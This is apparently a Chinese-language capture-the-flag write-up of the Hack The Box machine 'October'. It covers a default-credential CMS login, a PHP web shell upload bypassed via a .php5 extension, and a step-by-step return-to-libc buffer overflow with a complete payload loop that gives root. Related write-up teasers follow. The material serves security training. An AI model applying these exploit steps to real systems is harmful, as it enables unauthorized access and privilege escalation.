Hack the box靶机 October

搜了一下october
有漏洞
然后默认的后台是/backend
试了一下密码admin：admin
竟然进去了？？？？

有文件上传功能
shel.php
抓包
改成*.php5
右侧click here
拿到权限

dirb也扫出来后台了
但是我都已经不需要了
接下来是缓存区溢出了
正在看
所以就写到这吧

看了一晚上+一个白天
算是明白原理以及利用了

算了，直接贴传送门吧
国外大佬写的靶机教程
很详细

大概就是
1.检查防护
2.查看调用函数
3.通过脚本创造一个字符串（大一点的）
4.找到覆盖EIP的字节
5.通过脚本检查字节所在这个字符串的哪个位置
6.找到地址
7.生成漏洞利用脚本
8.运行得到root权限

安装
1.apt-get install gdb
2.git clone https://github.com/longld/peda.git ~/peda
3.echo "source ~/peda/peda.py" >> ~/.gdbinit
在Kali运行
1.gdb ./ovrflw
2.aslr
3.pdisass main
4.checksec
5.（再打开一个终端）pattern create 150
6.（在gdb运行）r '粘贴生成字符串'
7.（再刚才新打开的终端运行）pattern_offset 0x41384141
然后在靶机上运行
1.gdb /usr/local/bin/ovrflw -q
2.b main
3.run
4.p system
5.find 得到的字符串1， +9999999， “/bin/sh”
6.x/s 得到的字符串2
7.p exit
8.while true; do /usr/local/bin/ovrflw $(python -c 'print "A" * 112+ "\x10\xc3\x59\xb7\x60\xf2\x58\xb7\xac\xeb\x6b\xb7"'); done

对于我现在的知识
解决它还是有点困难
有没有大佬推荐一下缓冲区溢出的学习教程的
奉上双膝

Hack the box靶机 October相关推荐

Hack The Box靶机——Ambassador
文章目录前言一.Web部分二.提权部分前言难度:中等,Hack The Box网站在线靶机.本文涉及知识点有:Grafana系统任意文件读取,CURL下载文件,SSL本地端口转发,Consu ...
Hack the box靶机 Admirer
不能访问啊 wfuzz一下 wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,txt-php-html -u ...
Hack the box靶机 Grandpa
migrate进程迁移 win的题怎么都是用msf做的呢看大佬们没有不用msf的
Hack the box靶机 Chatterbox
修改地址把生成的字符串替换python里的
Hack the box靶机 Soli
突破口是oracle 就是真的慢我快吐了 scott/tiger 不知道为什么老是连接不上给我整不会了但是我重启了一下换了一个端口然后就好了
Hack The Box——Traverxec
目录简介信息收集漏洞发现漏洞利用权限提升内核提权 SUID提权总结简介这个靶机还算比较简单,只需一步一步慢慢走下去就可以完成了.漏洞发现和利用都比较简单,使用已知漏洞可以直接获得we ...
Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell，ImageMagrick命令执行漏洞横向提权，更改环境配置SUDO纵向提权
Hack The Box - Meta Hack The Box开始使用流程看这篇文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...
Hack The Box - Catch 利用let chat API查询信息，Cachet配置泄露漏洞获取ssh登录密码，apk代码注入漏洞利用获取root权限
Hack The Box-Catch Hack The Box开始使用流程看这篇文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...
Hack The Box - Starting Point - TIER 0
Hack The Box - Starting Point - TIER 0 Meow TASK 1 What does the acronym VM stand for? 首字母缩略词 VM 代表什 ...

Hack the box靶机 October

Hack the box靶机 October相关推荐

最新文章

热门文章